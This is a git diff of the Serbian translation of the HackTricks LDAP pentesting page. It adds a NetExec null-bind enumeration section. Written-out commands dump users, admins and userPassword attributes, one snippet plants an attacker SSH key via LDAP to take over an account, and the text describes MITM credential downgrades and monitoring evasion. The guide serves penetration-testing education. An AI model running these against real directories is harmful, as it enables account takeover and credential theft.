mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's
This commit is contained in:
parent
f80d65de84
commit
f75e5ffdfb
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Korišćenje **LDAP** (Lightweight Directory Access Protocol) je prvenstveno za lociranje raznih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, imajući manji kodni otisak.
|
Korišćenje **LDAP** (Lightweight Directory Access Protocol) prvenstveno služi za pronalaženje različitih entiteta kao što su organizacije, pojedinci i resursi kao što su fajlovi i uređaji unutar mreža, kako javnih tako i privatnih. On pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, zahvaljujući manjem obimu koda.
|
||||||
|
|
||||||
LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko više servera, pri čemu svaki server sadrži **repliciranu** i **sinhronizovanu** verziju direktorijuma, koja se naziva Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi pružio jedinstven odgovor tražiocu.
|
LDAP direktorijumi su strukturirani tako da omogućavaju distribuciju preko više servera, pri čemu svaki server sadrži **replikovanu** i **sinhronizovanu** verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži u potpunosti na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi podneo objedinjeni odgovor podnosiocu zahteva.
|
||||||
|
|
||||||
Organizacija LDAP direktorijuma podseća na **stablo hijerarhije, počinjući od korenskog direktorijuma na vrhu**. Ovo se grana prema državama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju razne divizije ili odeljenja, konačno dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
|
Organizacija LDAP direktorijuma podseća na hijerarhijsko stablo, koje počinje sa root directory na vrhu. Ono se granа prema zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite sektore ili odeljenja, na kraju dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse kao što su fajlovi i štampači.
|
||||||
|
|
||||||
**Podrazumevani port:** 389 i 636(ldaps). Globalni katalog (LDAP u ActiveDirectory) je dostupan po defaultu na portovima 3268 i 3269 za LDAPS.
|
**Podrazumevani port:** 389 i 636(ldaps). Global Catalog (LDAP in ActiveDirectory) je podrazumevano dostupan na portovima 3268, i 3269 za LDAPS.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
389/tcp open ldap syn-ack
|
389/tcp open ldap syn-ack
|
||||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
|||||||
```
|
```
|
||||||
### LDAP Data Interchange Format
|
### LDAP Data Interchange Format
|
||||||
|
|
||||||
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
|
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Add, Modify, Delete, Rename).
|
||||||
```bash
|
```bash
|
||||||
dn: dc=local
|
dn: dc=local
|
||||||
dc: local
|
dc: local
|
||||||
@ -45,14 +45,14 @@ ou:
|
|||||||
mail: pepe@hacktricks.xyz
|
mail: pepe@hacktricks.xyz
|
||||||
phone: 23627387495
|
phone: 23627387495
|
||||||
```
|
```
|
||||||
- Linije 1-3 definišu najviši nivo domena local
|
- Linije 1-3 definišu top-level domen local
|
||||||
- Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
|
- Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
|
||||||
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
|
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
|
||||||
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
|
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
|
||||||
|
|
||||||
## Write data
|
## Upis podataka
|
||||||
|
|
||||||
Imajte na umu da ako možete da modifikujete vrednosti, mogli biste da izvršite zaista zanimljive akcije. Na primer, zamislite da **možete promeniti informacije o "sshPublicKey"** vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda **ssh čita javne ključeve iz LDAP-a**. Ako možete da modifikujete javni ključ korisnika, **moći ćete da se prijavite kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh**.
|
Imajte na umu da ako možete menjati vrednosti, mogli biste izvesti veoma zanimljive akcije. Na primer, zamislite da **možete promeniti informaciju "sshPublicKey"** svog korisnika ili bilo kog korisnika. Veoma je verovatno da, ako ovaj atribut postoji, onda **ssh učitava javne ključeve iz LDAP**. Ako možete izmeniti javni ključ korisnika, **moći ćete da se prijavite kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh**.
|
||||||
```bash
|
```bash
|
||||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
@ -64,30 +64,55 @@ True
|
|||||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||||
```
|
```
|
||||||
## Sniff clear text credentials
|
## Presretanje kredencijala u čistom tekstu
|
||||||
|
|
||||||
Ako se LDAP koristi bez SSL-a, možete **snimati kredencijale u čistom tekstu** u mreži.
|
Ako se LDAP koristi bez SSL, možete **presresti kredencijale u plain text** u mreži.
|
||||||
|
|
||||||
Takođe, možete izvršiti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete napraviti **Downgrade Attack** tako da klijent koristi **kredencijale u čistom tekstu** za prijavu.
|
Takođe, možete izvesti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete napraviti **Downgrade Attack** tako da klijent koristi **kredencijale u čistom tekstu** za prijavu.
|
||||||
|
|
||||||
**Ako se koristi SSL** možete pokušati da napravite **MITM** kao što je pomenuto iznad, ali nudeći **lažni sertifikat**, ako **korisnik to prihvati**, možete smanjiti metodu autentifikacije i ponovo videti kredencijale.
|
**Ako se koristi SSL** možete pokušati izvesti **MITM** kao gore pomenuto, ali nudeći **lažni sertifikat**; ako **korisnik ga prihvati**, bićete u mogućnosti da izvršite Downgrade metode autentikacije i ponovo vidite kredencijale.
|
||||||
|
|
||||||
## Anonymous Access
|
## Anonimni pristup
|
||||||
|
|
||||||
### Bypass TLS SNI check
|
### Bypass TLS SNI check
|
||||||
|
|
||||||
Prema [**ovoj analizi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:
|
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||||
```
|
```
|
||||||
### LDAP anonimni vezovi
|
### LDAP anonymous binds
|
||||||
|
|
||||||
[LDAP anonimni vezovi](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) omogućavaju **neautentifikovanim napadačima** da preuzmu informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je **nasleđena konfiguracija**, i od Windows Server 2003, samo autentifikovani korisnici su dozvoljeni da pokreću LDAP zahteve.\
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **neautentifikovanim napadačima** da povuku informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je **zastarela konfiguracija**, i od Windows Server 2003, samo autentifikovani korisnici smeju inicirati LDAP zahteve.\
|
||||||
Međutim, administratori su možda morali da **konfigurišu određenu aplikaciju da dozvoli anonimne vezove** i dali više pristupa nego što je bilo predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
|
Međutim, administratori su možda morali da **konfigurišu određenu aplikaciju da dozvoli anonymous binds** i dodelili su više pristupa nego što je predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
|
||||||
|
|
||||||
## Validne kredencijale
|
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||||
|
|
||||||
Ako imate validne kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domenskom Administratoru koristeći:
|
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Korisni filteri:
|
||||||
|
- (objectClass=*) za inventarizaciju objekata pod base DN-om
|
||||||
|
- (sAMAccountName=*) za prikupljanje korisničkih principala
|
||||||
|
|
||||||
|
Primeri:
|
||||||
|
```bash
|
||||||
|
# Enumerate objects from the root DSE (base DN autodetected)
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||||
|
|
||||||
|
# Dump users with key attributes for spraying and targeting
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||||
|
|
||||||
|
# Extract just the sAMAccountName field into a list
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||||
|
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||||
|
```
|
||||||
|
Na šta treba obratiti pažnju:
|
||||||
|
- sAMAccountName, userPrincipalName
|
||||||
|
- memberOf i pozicioniranje u OU za ograničavanje targeted sprays
|
||||||
|
- pwdLastSet (vremenski obrasci), userAccountControl flags (disabled, smartcard required, itd.)
|
||||||
|
|
||||||
|
Napomena: Ako anonymous bind nije dozvoljen, obično će se pojaviti Operations error koji ukazuje da je bind potreban.
|
||||||
|
|
||||||
|
## Važeći kredencijali
|
||||||
|
|
||||||
|
Ako imate važeće kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domain Admin koristeći:
|
||||||
|
|
||||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```bash
|
```bash
|
||||||
@ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
|||||||
```
|
```
|
||||||
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
||||||
|
|
||||||
## Enumeration
|
## Enumeracija
|
||||||
|
|
||||||
### Automated
|
### Automatski
|
||||||
|
|
||||||
Korišćenjem ovoga bićete u mogućnosti da vidite **javne informacije** (kao što je naziv domena)**:**
|
Korišćenjem ovoga moći ćete da vidite **javno dostupne informacije** (kao što je ime domena)**:**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
```
|
```
|
||||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Vidi LDAP enumeraciju sa python-om</summary>
|
<summary>Pogledajte LDAP enumeration u Python-u</summary>
|
||||||
|
|
||||||
Možete pokušati da **enumerišete LDAP sa ili bez kredencijala koristeći python**: `pip3 install ldap3`
|
Možete pokušati da **enumerate LDAP-a sa ili bez credentials koristeći Python**: `pip3 install ldap3`
|
||||||
|
|
||||||
Prvo pokušajte da **se povežete bez** kredencijala:
|
Prvo pokušajte da se **povežete bez** credentials:
|
||||||
```bash
|
```bash
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||||
@ -121,7 +146,7 @@ Prvo pokušajte da **se povežete bez** kredencijala:
|
|||||||
True
|
True
|
||||||
>>> server.info
|
>>> server.info
|
||||||
```
|
```
|
||||||
Ako je odgovor `True`, kao u prethodnom primeru, možete dobiti neke **zanimljive podatke** sa LDAP-a (kao što su **naming context** ili **domain name**) servera sa:
|
Ako je odgovor `True` kao u prethodnom primeru, možete dobiti neke **interesantne podatke** o LDAP serveru (kao što su **naming context** ili **domain name**) iz:
|
||||||
```bash
|
```bash
|
||||||
>>> server.info
|
>>> server.info
|
||||||
DSA info (from DSE):
|
DSA info (from DSE):
|
||||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
|||||||
Naming contexts:
|
Naming contexts:
|
||||||
dc=DOMAIN,dc=DOMAIN
|
dc=DOMAIN,dc=DOMAIN
|
||||||
```
|
```
|
||||||
Kada imate kontekst imenovanja, možete postaviti još uzbudljivije upite. Ovaj jednostavni upit bi trebao da vam prikaže sve objekte u direktorijumu:
|
Kada imate naming context, možete napraviti nekoliko zanimljivijih upita. Ovaj jednostavan upit bi trebalo da vam prikaže sve objekte u direktorijumu:
|
||||||
```bash
|
```bash
|
||||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||||
True
|
True
|
||||||
>> connection.entries
|
>> connection.entries
|
||||||
```
|
```
|
||||||
Ili **dump**-ujte ceo ldap:
|
Ili **dump** ceo ldap:
|
||||||
```bash
|
```bash
|
||||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||||
True
|
True
|
||||||
@ -145,7 +170,7 @@ True
|
|||||||
|
|
||||||
### windapsearch
|
### windapsearch
|
||||||
|
|
||||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) je Python skripta koja je korisna za **enumeraciju korisnika, grupa i računara iz Windows** domena koristeći LDAP upite.
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) je Python skripta korisna za **enumeraciju korisnika, grupa i računara iz Windows** domena korišćenjem LDAP upita.
|
||||||
```bash
|
```bash
|
||||||
# Get computers
|
# Get computers
|
||||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
|||||||
```
|
```
|
||||||
### ldapsearch
|
### ldapsearch
|
||||||
|
|
||||||
Proverite null kredencijale ili da li su vaše kredencijale validne:
|
Proveri null credentials ili da li su tvoji credentials važeći:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
@ -173,7 +198,7 @@ result: 1 Operations error
|
|||||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||||
tion a successful bind must be completed on the connection., data 0, v3839
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||||||
```
|
```
|
||||||
Ako pronađete nešto što kaže da "_bind mora biti završen_" to znači da su akreditivi netačni.
|
Ako naiđete na poruku koja kaže "_bind must be completed_", to znači da su kredencijali pogrešni.
|
||||||
|
|
||||||
Možete izvući **sve iz domena** koristeći:
|
Možete izvući **sve iz domena** koristeći:
|
||||||
```bash
|
```bash
|
||||||
@ -184,12 +209,12 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
|||||||
-w My password
|
-w My password
|
||||||
-b Base site, all data from here will be given
|
-b Base site, all data from here will be given
|
||||||
```
|
```
|
||||||
Izvuci **korisnike**:
|
Izdvoji **korisnike**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||||
```
|
```
|
||||||
Izvuci **računare**:
|
Izdvajanje **računara**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
@ -197,7 +222,7 @@ Izvuci **moje informacije**:
|
|||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Izvuci **Domain Admins**:
|
Izvucite **Domain Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
@ -205,15 +230,15 @@ Izvuci **Domain Users**:
|
|||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Izvuci **Enterprise Admins**:
|
Izdvoji **Enterprise Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Izvuci **Administratore**:
|
Izdvajanje **Administratora**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Izvuci **Remote Desktop Group**:
|
Izdvoji **Remote Desktop Group**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
@ -221,11 +246,11 @@ Da biste proverili da li imate pristup bilo kojoj lozinki, možete koristiti gre
|
|||||||
```bash
|
```bash
|
||||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||||
```
|
```
|
||||||
Molimo vas, imajte na umu da lozinke koje ovde možete pronaći možda nisu prave...
|
Imajte na umu da lozinke koje možete pronaći ovde možda nisu prave...
|
||||||
|
|
||||||
#### pbis
|
#### pbis
|
||||||
|
|
||||||
Možete preuzeti **pbis** odavde: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i obično se instalira u `/opt/pbis`.\
|
Možete preuzeti **pbis** ovde: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\
|
||||||
**Pbis** vam omogućava da lako dobijete osnovne informacije:
|
**Pbis** vam omogućava da lako dobijete osnovne informacije:
|
||||||
```bash
|
```bash
|
||||||
#Read keytab file
|
#Read keytab file
|
||||||
@ -255,13 +280,13 @@ Možete preuzeti **pbis** odavde: [https://github.com/BeyondTrust/pbis-open/](ht
|
|||||||
./list-groups-for-user <username>
|
./list-groups-for-user <username>
|
||||||
./lsa list-groups-for-user <username>
|
./lsa list-groups-for-user <username>
|
||||||
#Get groups of each user
|
#Get groups of each user
|
||||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get users of a group
|
#Get users of a group
|
||||||
./enum-members --by-name "domain admins"
|
./enum-members --by-name "domain admins"
|
||||||
./lsa enum-members --by-name "domain admins"
|
./lsa enum-members --by-name "domain admins"
|
||||||
#Get users of each group
|
#Get users of each group
|
||||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get description of each user
|
#Get description of each user
|
||||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||||
@ -270,11 +295,11 @@ echo "$line";
|
|||||||
echo "======================"
|
echo "======================"
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
## Grafički Interfejs
|
## Grafički interfejs
|
||||||
|
|
||||||
### Apache Directory
|
### Apache Directory
|
||||||
|
|
||||||
[**Preuzmite Apache Directory odavde**](https://directory.apache.org/studio/download/download-linux.html). Možete pronaći [primer kako koristiti ovaj alat ovde](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||||
|
|
||||||
### jxplorer
|
### jxplorer
|
||||||
|
|
||||||
@ -286,35 +311,35 @@ Podrazumevano je instaliran u: _/opt/jxplorer_
|
|||||||
|
|
||||||
### Godap
|
### Godap
|
||||||
|
|
||||||
Godap je interaktivni terminalski korisnički interfejs za LDAP koji se može koristiti za interakciju sa objektima i atributima u AD i drugim LDAP serverima. Dostupan je za Windows, Linux i MacOS i podržava jednostavne veze, pass-the-hash, pass-the-ticket i pass-the-cert, zajedno sa nekoliko drugih specijalizovanih funkcija kao što su pretraga/kreiranje/promena/brisanje objekata, dodavanje/uklanjanje korisnika iz grupa, promena lozinki, uređivanje dozvola objekata (DACLs), modifikovanje Active-Directory Integrated DNS (ADIDNS), izvoz u JSON datoteke, itd.
|
Godap je interaktivni terminalski korisnički interfejs za LDAP koji se može koristiti za interakciju sa objektima i atributima u AD i drugim LDAP serverima. Dostupan je za Windows, Linux i MacOS i podržava simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, kao i nekoliko drugih specijalizovanih funkcija, kao što su pretraga/kreiranje/izmena/brisanje objekata, dodavanje/uklanjanje korisnika iz grupa, promena lozinki, uređivanje permisija objekata (DACLs), modifikovanje Active-Directory Integrated DNS (ADIDNS), eksportovanje u JSON fajlove, itd.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Možete mu pristupiti na [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Za primere korišćenja i uputstva pročitajte [Wiki](https://github.com/Macmod/godap/wiki).
|
Možete mu pristupiti na [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Za primere upotrebe i uputstva pročitajte [Wiki](https://github.com/Macmod/godap/wiki).
|
||||||
|
|
||||||
### Ldapx
|
### Ldapx
|
||||||
|
|
||||||
Ldapx je fleksibilni LDAP proxy koji se može koristiti za inspekciju i transformaciju LDAP saobraćaja iz drugih alata. Može se koristiti za obfuscation LDAP saobraćaja kako bi se pokušalo zaobići zaštitu identiteta i alate za praćenje LDAP-a i implementira većinu metoda predstavljenih u [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) predavanju.
|
Ldapx je fleksibilan LDAP proxy koji se može koristiti za inspekciju i transformaciju LDAP saobraćaja iz drugih alata. Može se koristiti za obfuskaciju LDAP saobraćaja u pokušaju da se zaobiđu identity protection & LDAP monitoring alati i implementira većinu metoda predstavljenih u [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) talku.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Možete ga preuzeti sa [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
